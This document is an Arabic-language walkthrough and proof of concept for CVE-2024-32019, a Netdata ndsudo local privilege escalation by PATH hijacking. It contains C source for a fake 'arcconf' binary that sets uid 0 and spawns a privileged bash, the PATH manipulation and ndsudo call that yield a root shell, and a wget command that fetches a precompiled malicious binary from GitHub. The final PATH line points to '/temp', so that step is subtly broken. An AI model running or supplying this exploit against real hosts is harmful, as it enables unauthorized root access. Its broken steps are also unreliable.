
Netdata ndsudo سير عمل تصعيد الامتيازات المحلية وإثبات المفهوم (CVE-2024-32019)
سير عمل تصعيد الامتيازات المحلية لـ Netdata ndsudo و POC (CVE-2024-32019)
[!TIP] يرجى القراءة
Netdata هي أداة توفر مراقبة للتطبيقات والأنظمة، وتعمل على المنفذ 19999، مما يسهل العثور عليها:
test@test:~$ netstat -tuln
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 127.0.0.1:19999 0.0.0.0:* LISTEN
تؤثر هذه الثغرة (CVE-2024-32019) على الإصدارات التالية: >= v1.45.0, < v1.45.3, >= v1.44.0-60, < v1.45.0-169. يمكننا تقديم طلب لمعرفة الإصدار في رأس الاستجابة:
يتم الاستغلال عبر استغلال PATH Hijacking لأحد المكونات الإضافية، وهو ndsudo الذي غالبًا ما يوجد في /opt/netdata/usr/libexec/netdata/ وله صلاحية SUID.
test@test:~$ find / -name ndsudo 2> /dev/null
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo
يمكننا رؤية ما يمكننا فعله باستخدام --help
$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo --help
ndsudo
(C) Netdata Inc.
A helper to allow Netdata run privileged commands.
--test
print the generated command that will be run, without running it.
--help
print this message.
The following commands are supported:
- Command : nvme-list
Executables: nvme
Parameters : list --output-format=json
- Command : nvme-smart-log
Executables: nvme
Parameters : smart-log {{device}} --output-format=json
- Command : megacli-disk-info
Executables: megacli MegaCli
Parameters : -LDPDInfo -aAll -NoLog
- Command : megacli-battery-info
Executables: megacli MegaCli
Parameters : -AdpBbuCmd -aAll -NoLog
- Command : arcconf-ld-info
Executables: arcconf
Parameters : GETCONFIG 1 LD
- Command : arcconf-pd-info
Executables: arcconf
Parameters : GETCONFIG 1 PD
The program searches for executables in the system path.
Variables given as {{variable}} are expected on the command line as:
--variable VALUE
VALUE can include space, A-Z, a-z, 0-9, _, -, /, and .
test@test:~$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo arcconf-ld-info
arcconf : not available in PATH.
كما نرى، نظرًا لأن السكربت يحتوي على عدة أوامر للاختيار التي ستبحث عن ملف تنفيذي، يمكننا استغلال ذلك لإنشاء ملف تنفيذي خاص بنا باسم أحد الملفات التنفيذية داخل مسار يمكننا إضافته إلى متغير البيئة PATH.
يستخدم Netdata لغة C، وبالتالي يتعين علينا كتابة السكربت بلغة C وتجميعه.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
execl("/bin/bash", "bash", "-p", NULL);
perror("execl");
return 1;
}
gcc arcconf.c -o arcconf
ثم كما نوقش سابقًا، نضيف مسار السكربت إلى $PATH
test@test:/tmp$ PATH=/tmp:$PATH
أخيرًا، نقوم ببساطة بتنفيذ الأمر الذي يشير إلى ملفنا التنفيذي الخبيث (arcconf-pd-info -> arcconf) وسيعطينا شل بصلاحيات مميزة
test@test:/tmp$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo arcconf-pd-info
root@editor:/tmp# whoami
root
يمكنك تنزيل السكربت الخبيث بلغة C المترجم بالفعل والذي سيمنحك bash كجذر كما هو مذكور في المثال أعلاه:
wget https://github.com/juanbelin/CVE-2024-32019-POC/raw/refs/heads/main/arcconf
mv arcconf /tmp #إذا كان الهدف متصلًا بالإنترنت
scp ./arcconf test@test:/tmp/arcconf #إذا لم يكن الهدف متصلًا بالإنترنت
PATH=:/temp:$PATH
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo arcconf-ld-info #قد يتغير مسار ndsudo